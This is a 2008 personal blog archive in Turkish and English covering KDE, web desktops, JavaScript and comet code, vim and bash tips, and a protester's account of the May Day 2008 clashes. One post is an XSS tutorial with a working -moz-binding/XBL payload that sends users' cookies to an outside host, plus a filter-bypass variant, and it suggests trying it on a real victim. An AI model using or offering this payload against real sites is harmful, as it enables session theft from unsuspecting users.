What's up? My desktop's up :) Date: July 21, 2008 Tags: linux Comments(0)
Ilk Linux denememi PCNet'in 7 cd'lik Suse hediye ettigi sayida yapmistim, KDE'yi de ilk denememdi sanirim.O donem kafasi karisik cocuklardan oldugumdan pek degerini bilememis ve Windows 2000'e geri donmustum.Yillar sonra Linux'u ogrenmeye baslarkense Gnome hosuma gitmisti, sonra eski bilgisayarlar icin ideal olan Xfce4'a gecis yapmistim.Xfce4 henuz pek de stabil olmadigindan pek memnun kalmadim ve yeni makine aldigim ilk gun tekrar Gnome'a dondum.Bu donusler esnasinda hic KDE denememistim ve icimdeki "acaba ne kaciriyorum?" kuskusuyla gecenlerde gnome yuklu ubuntu'ma kde 3 kurdum.Gercekten bi cok sey kacirmisim.Kate harika bir editor, ekran Vi'deki gibi bolunebiliyor ve session yoneticisi var, konsolu da var.Ekran goruntusu;
Kubuntu'da default dosya yoneticisi olarak Dolphin geliyor ama Konqueror'u begendim.Tab destegi, kate gibi session yoneticisi, ekrani split edebilmesi, PDF ve resim formatlarini okuyabilmesi.. Ayrica KHTML render engine ile web sayfalarini yorumlayabilmesi.. Tum bunlari yapan bir uygulamanin siskin, hantal oldugu dusunulebilir.Ama oldukca lightweight bir uygulama, cok hizli calisiyor. Denemeyenlere KDE'yi denemeyi oneririm.
cloudo Date: July 11, 2008 Tags: misc Comments(2)
Bugun Webrazzi'de g.ho.st adli bir Adobe Flash uygulamasindan soz ediliyor.Yazida g.ho.st un rakiplerinden onde ve en iddiali oldugu yaziyor ama bu dogru degil, g.ho.st piyasadaki en vasat dde uygulamasidir.Aslinda kisisel sitemdeki kucuk logbook'ta yazmistim ama konu acilmisken Cloudo'dan bahsetmeye karar verdim.Cloudo, Xindesk adli dde projesinin isim degistirmis hali, Isvec'te yasayan Hakan Bilgin ve takimi gelistiriyor.
Cloudo adobe flash degil open web uygulamasidir, oldukca hizli calisiyor ve teknik kaynaklar acisindan adobe flash alternatiflerine oranla daha zengin.Sistem icinde uygulama gelistirilebiliyor.Ayrica hazir olarak pek cok uygulama iceriyor, bu konuda da mevcut alternatiflerinden cok daha ileride.
Sistemi dilediginiz gibi ozellestirebiliyorsunuz ve pek cok tema var, OSX, Windows, Linux.. Bir temayi sectiginizde eskisinin yerine yuklenmesi turkiyedeki baglantiyla 10 saniyeden daha kisa suruyor.
Daha fazla incelemek icin, alpha surumune davetiye isteyin. Asagidaki ekran goruntusunu de inceleyebilirsiniz;
One step forward two steps back Date: July 10, 2008 Tags: comet , javascript Comments(0)
The newer versions of Opera Browser run functions twice which added as listener to event-source elements.I found this bug when I test new version of pi.comet .You can find the source code as below:event-source.html
<body>
<div id="time"></div>
<script>
var event = document.createElement("event-source");
event.setAttribute("src","event-source.php");
document.body.appendChild(event);
event.addEventListener("azer",function(){
document.getElementById("time").innerHTML += "
"+arguments[0].data;
},false);
</script>
</body>
event-source.php
<?
header("content-type: application/x-dom-event-stream");
while(true){
print "Event: azer\n";
print "data: ".time()."\n\n";
sleep(3);
ob_flush();
flush();
}
?>
Web tabanli Trojan Nasil Yapilir? Date: May 11, 2008 Tags: javascript , security , turkce Comments(0)
XSS ve web guvenligi meraklilari icin birkac teknikten bahsetmeye karar verdim.Bunlardan ilki oldukca gecerli olan ve pek az bilinen, firefox'ta calisan moz-binding yontemi.Yaziyi "vuralim, kiralim" uslubuyla yazdim ancak amacim sadece guvenlik onlemleri icin kaynak olusturmak.Gecen yil Hakan (Bilgin) cloudo icin, bense r(ainbow)92 icin kod renklendirme yapmaya calisiyorduk. Hakan o zamanlar hazirladigi bir ornekte, XBL/-moz-binding teknigini kullanarak uygulamaya CSS kodu icinden XML import ediyor, XML'in icinden de javascript calistiriyordu.Bu bana oldukca ilginc gelmis ve -moz-binding ile tanismami saglamisti.
Eger bu ilginc teknigi, Yahoo UI gelistiricisi Douglas Crockford'un JSON'u kesfetmesini saglayan script include yontemiyle birlestirirseniz (bu yontem hem data transferlerini hem de client'ta istediginiz manyakligi yapmanizi saglar), yapabilecekleriniz hayal gucunuz kadar sinirsizdir. Ornegin maillerine hotmail,gmail vb web uzerinden ulasan bir kullanicinin tum maillerini cekebilir veya habersizce istediginiz maili yazdirtip gondertebilirsiniz.
Her iki yontemin de nasil kullanildigini anlamak icin kullanicilarin cookie'lerini victim list'e kaydetmeyi amacladigimiz kucuk bir ornek yapalim, ornegi denemek icin basit bir uygulama taslagi hazirlayabilirsiniz veya gercek bir kurban secebilirsiniz..
Sectigimiz web uygulamasi kullanicilarin sadece <strong> vb masum gorunen html tag'lerine izin veriyor olsun.Eger bu uygulama attribute'leri kontrol etmiyorsa isimiz kolay, onload vb event'lerle direk javascript calistirabiliriz.Eger kontrol ediyorsa, style attribute'una izin verilip verilmediginden emin olun. WYSIWYG editorlerinden veri bekleyen uygulamalarin hepsinde izin verilir.
Amacimiz style attribute'u icinde -moz-binding kullanarak xbl belgesini cagirmak. Bundan evvel javascript calistiracagimiz XBL belgesini hazirlayip kurbanlarin erisebilecegi bir yere yukleyelim:
<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml">
<binding id="xss">
<implementation>
<constructor>
document.body.appendChild(document.createElement("script")).setAttribute("src","http://victim.com/?append="+escape(document.cookie));
</constructor>
</implementation>
</binding>
</bindings>
style='color:red; -moz-binding:url("http://victim.com/xbl.xml#xss");'
Cok az bir ihtimalle kurbaniniz moz-binding yazilmasini veya cross domain veri cagrilmasini blocklamis olabilir. Bu durumda b planimiz "the-spanner.co.uk" adresinde yayinlanan bir snippet'tan geliyor:
/style=\-\mo\z-b\i\nd\in\g:\url(//victim.com\/xbl_log\.xml\#xss)
Bundan sonrasi javascript bilginize kalmis. Kullanicinin arayuzunde daha cesitli tuneller acabilir, arayuzu degistirebilir veya kullanici adina islemler yapabilirsiniz.
1 Mayis Catismalarindaki Gozlemlerim Date: May 1, 2008 Tags: misc Comments(6)
1 Mayısta dayak yiyen binlerce insanın tamamı, ortalama bir polis veya askerden kat kat daha namuslu, halkini daha cok seven akilli insanlardi.Meymenetsiz suratlarındaki korku dolu sırıtışla hücum eden o adi korkaklardan ülkesine çok daha faydalı, aydın bir kitleydi 1 mayısı kutlayanlar.Gaz bombasından başlıyorum anlatmaya.Böyle namert bir silah sanırım görülmemiştir, zaten savaşlarda kullanılması yasaklanmış, bizim sümüklü vatanseverlerimizse bize karşı kullanıyor. Yaklaşık 10cm yüksekliğinde kalın bir mermi sıkıyorlar tüfekle, amerikan yapımıymış.El bombası şeklinde olanı da varmış ama hiç rastlamadım kullanıldığına.
Taksimin batısındaki dar sokaklardan birinde sıkıştırıldık, ardı ardına üstümüze plastik mermi ve gaz bombası yağdı.İki taş fazla atmak için vakti geldiğinde kaçmayınca gazın etkisiyle kendimi bir anlığına kaybedip yere düştüm, gözlerimi açamıyordum ve yüzüm yanıyordu.Buna rağmen polislerin eline geçme korkusuyla önüme gelen her merdiveni ayakta duramaz halde çıkıp ÖDP ilçe binasına girdim.İçeride mahşer kalabalığı vardı ve kadınlar kepenkleri tam indirmeyin diye çığlık atıyorlardı, çünkü dışarıda kalanlar o canavarların eline geçecekti.Hala nefes alamıyordum ve boğulmak üzere olduğum için kendimi kepengin altından dışarı attım. Yüzümü sorduğum birisi limon verdi, az ilerde gördüğüm kamyonetin arkasına saklanıp nefes almaya ve yanan yüzümü limonla soğutmaya çalıştım.Bu arada kamyonetin önünden elinde tüfekler olan 100 kişilik bir ekip geçti, etrafımızı sarmışlardı adeta.Bana limon veren arkadaşları bombaladılar ve ÖDP binasının olduğu sokağa doğru ilerlediler.Binadaki arkadaşların akıbetini bilmiyorum umarım polis binaya saldırmamıştır.(Siyasi partiler yasasına göre polis parti binasına giremez)
Neticede başarısız olduk.İstanbul dışından gelenler yollarını kaybetti, gözaltına alındılar, ailelerine haber veremiyor olabilirler.
Bu sayfada bu tür şeyleri paylaşmak hiç istemiyordum.Çünkü olanca cehaletine rağmen kendini otorite hissedenlerin bilginlik taslamasına, anasının karnında kibirle beslenmiş insanların bu tür olaylarla ilgili yazı, resim,video görüp yorum yapmasına vesile olmak istemiyorum. Buna rağmen vicdanı olanlar için başımıza gelenleri anlattım, muhtemelen haberlerde bizim provokatör, terörist olduğumuzu söylediler.Emin olun polisten, devletten ve askerden ala terörist, onlardan ala provokatör olmaz!
Appengine, Turbogears vs.. Date: April 27, 2008 Tags: misc Comments(3)
Python framework'lerinden bahsettigim yaziyi -gelisiguzel yazdigim icin- bu sayfadan kaldirdim. okumak isterseniz su linkte bir kopyasi bulunuyor: http://pastebin.com/pastebin.php?dl=f7eb9de98PI Comet's stable version released Date: April 9, 2008 Tags: comet , javascript , pi Comments(0)
I fixed base class and reported bugs.You can use pi.comet file or little bigger sized pi library (I'm prepearing a documentation and website for this library).pi.debugger released Date: April 2, 2008 Tags: debugging , javascript Comments(0)
I've developed a cross browser debugging tool that contains some Firebug features.You can try it in here and get more detailed information at pi project's website: http://pi-js.googlecode.comHere is a screenshot:
Pi.Comet works with Turbogears as well Date: April 2, 2008 Tags: cherrypy , comet , javascript , pi , turbogears Comments(2)
After a CherryPy test, I developed a real time chat example with pi.comet&Turbogears.Actually, I was going to add this example long time ago but I couldn't find any shared hostings available. Data streaming can not be used at Webfaction, because webfaction hosts turbogears with cgi support. If you have no hosting problems, you can use pi.comet and turbogears with your comet applications.For now, you can download and test it on your localhost.Download Example:turbogears_realtimeChat.tar.gz
Screenshot:
Microsoft IE8'de Gecko motorunu kullanmaya karar verdi! Date: April 1, 2008 Tags: javascript , misc Comments(0)
Microsoft ilginc bicimde, IE6'dan IE8 beta versiyonuna kadar Javascript yorumlama konusunda bir adim ilerlemedi.IE8 Acid2 testini gecmis olsa bile, asil bekledigimiz W3C Constructor'lar, HTML icin XPATH destegi gibi yeniliklerden haber gelmiyor.Yaklasik 6 yil once piyasaya surdukleri IE'nin bugun kullanildigini, bir yil sonra halen kullanilacagini dusunursek, ki kullanilacagi malum.. Hala nasil pozitif dusunulebilir, nasil IE8'in diger tarayicilarla rekabet edebilecegi hayal edilebilir ? Dogru duzgun Javascript kodlamak icin IE9'un cikmasini, ardindan da son kullanicinin basamak basamak IE9'a gecmesini mi bekleyecegiz? Su durumda bilimsel dusunmekle, karamsar dusunmek arasinda hicbir fark yok..Bu dusunceler arasinda coktandir Microsoft'un humanist bir kararla webkit veya gecko motorunu kullanmaya baslamasini umuyordum ki, bugun rss reader'ima su yazi dustu: Microsoft will use Gecko layout engine in IE 8
Birkac satir okuduktan sonra yuregim pirpir etti resmen :) Ama hatirlarsiniz, bugun o lanet gun 1 nisan :)
"in" Operator in Javascript Date: March 23, 2008 Tags: javascript Comments(0)
Javascript 1.5 contains the in operator that checks only property names.I can't figure out why Javascript returns the exact opposite of that other programming languages return on this operator. Here is an example:
>>> var hello = ["bonjour","hola","saluton","selam"];
>>> "bonjour" in hello
false
>>> 1 in hello
true
Actually, we don't need to the in operator to check values of Array, we can use indexOf property to this action easily;
>>> var hello = ["bonjour","hola","saluton","selam"];
>>> hello.indexOf("bonjour")>-1;
true
>>> hello.indexOf("Hallo")>-1;
false
This operator available to checking object properties too but there are many way to check object properties already;
>>> var hello = { "french":"bonjour", "esperanto":"saluton", "turkish":"selam" };
>>> "turkish" in hello
true
>>> "german" in hello
false
>>> Boolean(hello["turkish"]);
true
>>> Boolean(hello["german"]);
false
The question is, how are object values checked?
gmÇeviri Date: March 22, 2008 Tags: greasemonkey , javascript , misc Comments(4)
gmÇeviri, web sayfalarını gezerken fare imleciyle seçilen ingilizce metinleri türkçeye çevirmek için geliştirdiğim greasemonkey betiğidir.Daha fazla bilgi için yazının devamını okuyun. Continue Readingpi.comet's python module is available Date: March 21, 2008 Tags: cherrypy , comet , django , javascript , pi , python Comments(2)
I coded a python module to get cross browser output and a CherryPy example is available too.You can get these files in downloads list.You can use this module with any python web framework but there are some problems.Firstly, Django doesn't support multi-threading.And there is no shared hosting for CherryPy ( Webfaction runs CherryPy with CGI, sys.stdout.flush function doesn't work on that application ) I hope we have got more comet friendly web frameworks in the future.
VIM Ipuclari Date: March 17, 2008 Tags: linux Comments(2)
VIM ogrenmek istiyeyenler icin belgeler.org'da ogretici bir yazi var. Bu yazinin icermedigi ama ihtiyac duyacaginiz vim komutlari:
syntax enable: syntax'i renklendirmeyi saglar.set number: satir numaralarini acar.
set nowrap: wrap ozelligini kapatir, uzun kod satirlarini pencereye sigdirmaya calismaz.
set ai: auto indent.Yeni satira gecildiginde eski satirdaki hizadan baslar.
Her actiginizda otomatik calismasini istediginiz komutlari /home/$kullanici/.vimrc dosyasina yazin.
split dosya adi: pencereyi bolmek icin kullanilir, dikey olarak bolmek istenirse komutun onune vertical yazilir.
tabnew dosya adi: yeni tab acmak icin kullanilir. tab'lar arasinda hareket etmek icin, tabp (geri) ve tabn (ileri) komutlarini kullanin.
Genellikle ihtiyac duygudugum komutlar bunlar.Dilerseniz vi kilavuzunda da belirtildigi gibi, :help komutuyla yeni seyler kesfedebilirsiniz.Ayrica vim.org adresinde bir manual de bulunuyor.
linux terminalinde komut tanimlamak Date: March 17, 2008 Tags: linux Comments(0)
Linux kabugunun en sevdigim ozelligi, `alias` ile yeni komutlar olusturabilmek.Bu sayede pek cok isi tek komutla yapabilirsiniz, ornegin?Sistemi her yeniden yukleyisinizde `apt-get` programiyla ihtiyaciniz olan yazilimlari tek tek kurmak yerine, tek komutla bu isi halledebiliriz.Adimlari izleyin:
- herhangi bir editorle /home/$kullanici/.bash_aliases dosyasini acin.
- Ve istediginiz komutlari alias ile bu dosyada tanimlayin:
alias installMyPrograms="apt-get install rar unrar unzip cabextract" - dosyayi save edin ve yeni bir shell oturumu acin, artik komutunuzu kullanabilirsiniz.
komutlari dosyaya yazmamizin sebebi, kalici olmalarini saglamak.eger kalici olmasina gerek olmayan bir komut tanimlamak isterseniz, dogrudan komut satirinda da alias kullanilabiliyor.
Eger konsol yazdiginiz komutlari dikkate almiyorsa, alias dosyanizi include etmiyor olabilir.Bu problemi cozmek icin /home/$kullanici/.bashrc dosyasini editorunuzle acin ve su satirlarin onundeki comment'leri kaldirin:
if [ -f ~/.bash_aliases ]; then
. ~/.bash_aliases
fi
Tekrar yeni bir shell oturumu acarak deneyin, artik calistigini goreceksiniz..
